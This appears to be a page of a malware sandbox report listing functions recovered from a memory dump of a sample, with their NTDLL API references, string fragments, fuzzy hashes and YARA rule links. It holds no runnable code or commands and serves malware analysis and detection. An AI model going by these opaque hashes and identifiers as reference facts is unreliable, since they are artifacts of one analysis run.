Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: T$Y$\
API String ID: 0-3568914233
Opcode ID: 3c137aaee4decc6afd36a6ac2a89fb7598454a69d21f63346d9b3da570ae1f33
Instruction ID: c4420a47bb07ffd635aef002fcbe411c8505b0dfecb332e9b437db91d375a005
Opcode Fuzzy Hash: 3c137aaee4decc6afd36a6ac2a89fb7598454a69d21f63346d9b3da570ae1f33
Instruction Fuzzy Hash: 1E61D53290C7908BD320AA3DC85139FBBD5ABC5364F198F6DD9E9D73C2D23488058B52

Function 00DA8890 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 00DA896B

Strings

,", xrefs: 00DA8925

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: ,"
API String ID: 237503144-3497867666
Opcode ID: 86d6cd301709edec0a3334d5c59672102a3564e9d453eea4ce89e8bdf6c2acda
Instruction ID: e277d5458a230c364a266916b42698e1722d4da5f9eb9e143ea3bd02babea6a6
Opcode Fuzzy Hash: 86d6cd301709edec0a3334d5c59672102a3564e9d453eea4ce89e8bdf6c2acda
Instruction Fuzzy Hash: 4831EEB010C3958FD3108F25AA91A6BFBF4EB82B04F101A2CF6859B291C776D506CB17

Function 00D84B90 Relevance: 3.3, Strings: 2, Instructions: 800COMMON

Download Yara Rule

Strings

0, xrefs: 00D85495
8, xrefs: 00D8548D

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 0236e10296568ae0a76a6b4a0f4a000eac59f8a6f0c07ecddc2bd175ec0cff61
Instruction ID: 4c7aa00a00c98f09553dcdbe6dd883f8618a8c596d42dfe82c3f42c94aaebc21
Opcode Fuzzy Hash: 0236e10296568ae0a76a6b4a0f4a000eac59f8a6f0c07ecddc2bd175ec0cff61
Instruction Fuzzy Hash: D87246716083419FD711DF18D880BABBBE1BF98354F48895DF9888B392D375D948CBA2

Function 00EA9A04 Relevance: 2.9, Strings: 2, Instructions: 390COMMON

Download Yara Rule

Strings

0, xrefs: 00EA9B7B
ZwQuerySection, Unsupported class %d, xrefs: 00EA9EDF

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: 0$ZwQuerySection, Unsupported class %d
API String ID: 0-2380292483
Opcode ID: 0501088cfddbbae4133c64c58ff789e24eff6d3633a2814e236b1441baa2e44b
Instruction ID: 19c2957f3a3072c9e96db848391601850eabef965f43cca9d930edd3d6971ff9
Opcode Fuzzy Hash: 0501088cfddbbae4133c64c58ff789e24eff6d3633a2814e236b1441baa2e44b
Instruction Fuzzy Hash: ACF1E474A002499FDB04DF68C980AAEB7F1FF4A304F2595A9E818AB352D735ED45CB60

Function 00D8991A Relevance: 2.8, Strings: 2, Instructions: 330COMMON

Download Yara Rule

Strings

45, xrefs: 00D89B76
e, xrefs: 00D8999D

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: 45$e
API String ID: 0-2963137504
Opcode ID: 18ebe93ee4fddc761350310a703790e96834364d70e27b9fa6228276bad7c0d6
Instruction ID: 0424f6b30da33142db70264c5a95bc27da09f7c748aa11bf75d0068bfc174ca0
Opcode Fuzzy Hash: 18ebe93ee4fddc761350310a703790e96834364d70e27b9fa6228276bad7c0d6
Instruction Fuzzy Hash: 6F91F2B265C3408BD718DF65D89166FBBE2EFC1314F18892CE1D68B351DB38C50A8B66

Function 00D84260 Relevance: 2.8, Strings: 2, Instructions: 329COMMON

Download Yara Rule

Strings

), xrefs: 00D842DB
IEND, xrefs: 00D84651

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: c9ab38b79f18948ac74fe02adb7bf93fef6ecadad7d260fceffabc759a0753e9
Instruction ID: 54abbdfdaef14a129cf86e981ba0e01f5624e4990f76f159690d8358ecfe195c
Opcode Fuzzy Hash: c9ab38b79f18948ac74fe02adb7bf93fef6ecadad7d260fceffabc759a0753e9
Instruction Fuzzy Hash: 5BD1CFB19083459FD720EF18D841B9EBBE4EF94304F14492DF9999B382E775D908CBA2

Function 00EACA18 Relevance: 2.8, Strings: 2, Instructions: 304COMMON

Download Yara Rule

Strings

#, xrefs: 00EACC96
ZwQueryValueKey, unsupported class %d, xrefs: 00EACD68

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: #$ZwQueryValueKey, unsupported class %d
API String ID: 0-453009116
Opcode ID: 21cece1dea50f6c81b0679c3ee6f897521d7f57d53918f881f82754025487bc6
Instruction ID: 09f2b56d0b12957352613294b316e8c3536981127b3e7f0f45e9765969d55e93
Opcode Fuzzy Hash: 21cece1dea50f6c81b0679c3ee6f897521d7f57d53918f881f82754025487bc6
Instruction Fuzzy Hash: 85B1FD70A00109AFDB40EF68C881AAEF7F5EF89304F25D566A414EB315DB34EE41CBA1

Function 00D890B0 Relevance: 2.8, Strings: 2, Instructions: 301COMMON

Download Yara Rule

Strings

SQ]P, xrefs: 00D891A0
]Q_X, xrefs: 00D891A8

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: SQ]P$]Q_X
API String ID: 0-1109235876
Opcode ID: 7d0234c80c3bc44781e5967db0a084fe9c32980660ee5498477ab815d8c2a0db
Instruction ID: f7599c7202e60a63fb410779f2bf2354b53c874c690647fc288f77e979697865
Opcode Fuzzy Hash: 7d0234c80c3bc44781e5967db0a084fe9c32980660ee5498477ab815d8c2a0db
Instruction Fuzzy Hash: 15811A7164C3818FD319CB3984A13ABFFE09F97314F0C866DE4D58B392D2298909C766

Function 00E45C0C Relevance: 2.2, Strings: 1, Instructions: 905COMMON

Download Yara Rule

Strings

, xrefs: 00E46617

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 1e922692af7792f6adf736e76d04ca87c0d95f586e870f519637d6a1e1c706b3
Instruction ID: 975c72d2e59ce01a4a8addd5875fd57e6a5bc3d36aa9099383f504ea2c817fdf
Opcode Fuzzy Hash: 1e922692af7792f6adf736e76d04ca87c0d95f586e870f519637d6a1e1c706b3
Instruction Fuzzy Hash: 89822434A00608DFCB04DFA8D589A9DB7F1EF49314F2995E5E848AB366C730EE44DB52

Function 00DBB860 Relevance: 2.0, Strings: 1, Instructions: 775COMMON

Download Yara Rule

Strings

f, xrefs: 00DBBAB1

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: InitializeThunk
String ID: f
API String ID: 2994545307-1993550816
Opcode ID: c08ac862f7904b8c4fbff0ff1f8c44e77ef950e4f7b25932ccbe4c513861909c
Instruction ID: 6a1d841aea147f4c08c7718cf32c18abaae66d4a0d45edc3f994b92ab3a5ffe1
Opcode Fuzzy Hash: c08ac862f7904b8c4fbff0ff1f8c44e77ef950e4f7b25932ccbe4c513861909c
Instruction Fuzzy Hash: F932E63160C355DFD714CF28C890A6BBBE2EB85314F288A2DE59687391D7B1DC45CBA2

Function 00ED813C Relevance: 1.9, Strings: 1, Instructions: 681COMMON

Download Yara Rule

Strings

tw, xrefs: 00ED8186

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: tw
API String ID: 0-1219216364
Opcode ID: e0df490b39984575e50a1d5fa6614b3cc3bde12ae44ac9df23a66a8b54e41e2e
Instruction ID: 4be1b4868bbb47af7b1c0fe9efa5529c49307022979560a18b992daf19038a21
Opcode Fuzzy Hash: e0df490b39984575e50a1d5fa6614b3cc3bde12ae44ac9df23a66a8b54e41e2e
Instruction Fuzzy Hash: B6521674204200CFCB69CF18D6C4A667BA2FB55314F1496AADC569F38BCB34E857CB62

Function 00EB0EB0 Relevance: 1.8, Strings: 1, Instructions: 518COMMON

Download Yara Rule

Strings

MZP, xrefs: 00EB0F79

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: MZP
API String ID: 0-2889622443
Opcode ID: 91f9da0ff25b39f8691bc3c5c66ac5336892d6794be514a2ae62e314df06bb5a
Instruction ID: 0e118260dc99cc9d6670514538637f74730f83ad4769f9ccd132199bed7626e5
Opcode Fuzzy Hash: 91f9da0ff25b39f8691bc3c5c66ac5336892d6794be514a2ae62e314df06bb5a
Instruction Fuzzy Hash: 6412F574A002099FDB10EFA8C885FAEB7F5FB48310F5191A5F904EB395D670AD42CBA0

Function 00EDB8C4 Relevance: 1.6, Strings: 1, Instructions: 368COMMON

Download Yara Rule

Strings

@, xrefs: 00EDBC9F

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 71e19f4771dbf24248c1b6fb78e0b5adcaebba2109a130ca2d4af5cacde46d26
Instruction ID: c0e803ccd340e87128587f6528161c142d0ff75fa5c44faea81dd5fb1414eeaa
Opcode Fuzzy Hash: 71e19f4771dbf24248c1b6fb78e0b5adcaebba2109a130ca2d4af5cacde46d26
Instruction Fuzzy Hash: 5FF14374E00259CBCF18CF98C5906EEBBB2FF88318F25916AD855B7394E7355A42CB50

Function 00E2ACF8 Relevance: 1.6, APIs: 1, Instructions: 52nativeCOMMON

Download Yara Rule

APIs

NtCreateUserProcess.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 00E2AD50

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 6307a16c8d24fc032e342eb9bfc6f39afecdec069a6535efac07a155be9b6892
Instruction ID: 88d38097ce8a997cfd1300b8ed0bd7554585db8956a57baa00370a4b5d2ec7bd
Opcode Fuzzy Hash: 6307a16c8d24fc032e342eb9bfc6f39afecdec069a6535efac07a155be9b6892
Instruction Fuzzy Hash: FC01A8B6204259BF9B00DE8ADCC4DEBBBACFB8D355B844015BB1893202C230AC11CBB0

Function 00E2B36C Relevance: 1.6, APIs: 1, Instructions: 52filenativeCOMMON

Download Yara Rule

APIs

NtQueryDirectoryFile.NTDLL(?,?,?,?,?,?,?,?,?,?,?), ref: 00E2B3C4

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: DirectoryFileQuery
String ID:
API String ID: 3295332484-0
Opcode ID: bea7a20ec4650a05ad7becc85142e76c29cfd15d5d38f41153b03ddf92e20ddc
Instruction ID: 37e3c2aa2090c8ba538d518ffc3cc3208c8f80d23ad83b2395af5922e6e7b1bc
Opcode Fuzzy Hash: bea7a20ec4650a05ad7becc85142e76c29cfd15d5d38f41153b03ddf92e20ddc
Instruction Fuzzy Hash: DC01ACB22052997F9B00CE9ADCC4DEBBFACFB9E254B485044FB9893212C270AC51C770

Function 00E2AB50 Relevance: 1.5, APIs: 1, Instructions: 48filenativeCOMMON

Download Yara Rule

APIs

NtDeviceIoControlFile.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 00E2ABA0

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: ControlDeviceFile
String ID:
API String ID: 3512290074-0
Opcode ID: 078b8fa6a50adac9807891836ab3581493e3391d62ea6ad9521ab5eec77ad79b
Instruction ID: 805cb1ed09a98d8ccd2a756a07d0d23d40e5b714a6b5bd541aa987dab98d76c2
Opcode Fuzzy Hash: 078b8fa6a50adac9807891836ab3581493e3391d62ea6ad9521ab5eec77ad79b
Instruction Fuzzy Hash: F40172B6204259BF9B14CF9ADCC9DEB7BACFB9D794B444015BB5897202C230AD50C7B1

Function 00E2AE6C Relevance: 1.5, APIs: 1, Instructions: 48filenativeCOMMON

Download Yara Rule

APIs

NtFsControlFile.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 00E2AEBC

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: ControlFile
String ID:
API String ID: 1795486800-0
Opcode ID: e891bceb133dcf9c2492796f896d3ed8cad462088dfdd68b0aa938fccd216507
Instruction ID: ccd02ebcf07b9cf85f18e7047965666df34f238ccf2e90195d8f82415bd7f73d
Opcode Fuzzy Hash: e891bceb133dcf9c2492796f896d3ed8cad462088dfdd68b0aa938fccd216507
Instruction Fuzzy Hash: 660191B6204259BF9B10CF8ADCC5DEBBB6CFB8D754B454415BB5897202C270AC51CBB1

Function 00E2B180 Relevance: 1.5, APIs: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtNotifyChangeKey.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 00E2B1D0

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: ChangeNotify
String ID:
API String ID: 3893256919-0
Opcode ID: e69d32728f7448e10ae2e9a62eb29ab768f721221810a71be845ef784c698b67
Instruction ID: 8bacc3d63376d501ded0fd33d8ba3a80353e120ff3b0ef24751b6a917659b4c0
Opcode Fuzzy Hash: e69d32728f7448e10ae2e9a62eb29ab768f721221810a71be845ef784c698b67
Instruction Fuzzy Hash: C401CDB62051997FDB10CF9ADCD5DEBBF6CFB9E254B485005BA8897201C230AC50C7B0

Function 00E2B48C Relevance: 1.5, APIs: 1, Instructions: 48filenativeCOMMON

Download Yara Rule

APIs

NtLockFile.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 00E2B4DC

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: FileLock
String ID:
API String ID: 3169042693-0
Opcode ID: 2a0418565993196ad8fa0ecea6238eb2bf59666f41c4ebef862278f284c8bacf
Instruction ID: 08a3ed37d81cb1e60db9bfa21845ea92789c3b2763da7b8cf03d270293f48385
Opcode Fuzzy Hash: 2a0418565993196ad8fa0ecea6238eb2bf59666f41c4ebef862278f284c8bacf
Instruction Fuzzy Hash: 6401E1B62051997FDB10CE9ADCC5DFBBF6CFB9E654B489005BA9893202C230AC50C7B0

Function 00E2B58C Relevance: 1.5, APIs: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtMapViewOfSection.NTDLL(?,?,?,?,?,?,?,?,?,?), ref: 00E2B5DC

Memory Dump Source

Source File: 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true

Associated: 00000000.00000002.4122425835.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000DC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F1C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_un30brGAKP.jbxd

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: f91d6b410ee7b9701f6ee9ad6bbf457b5a1c01fb254ef7ee62d98ffe41de44ee
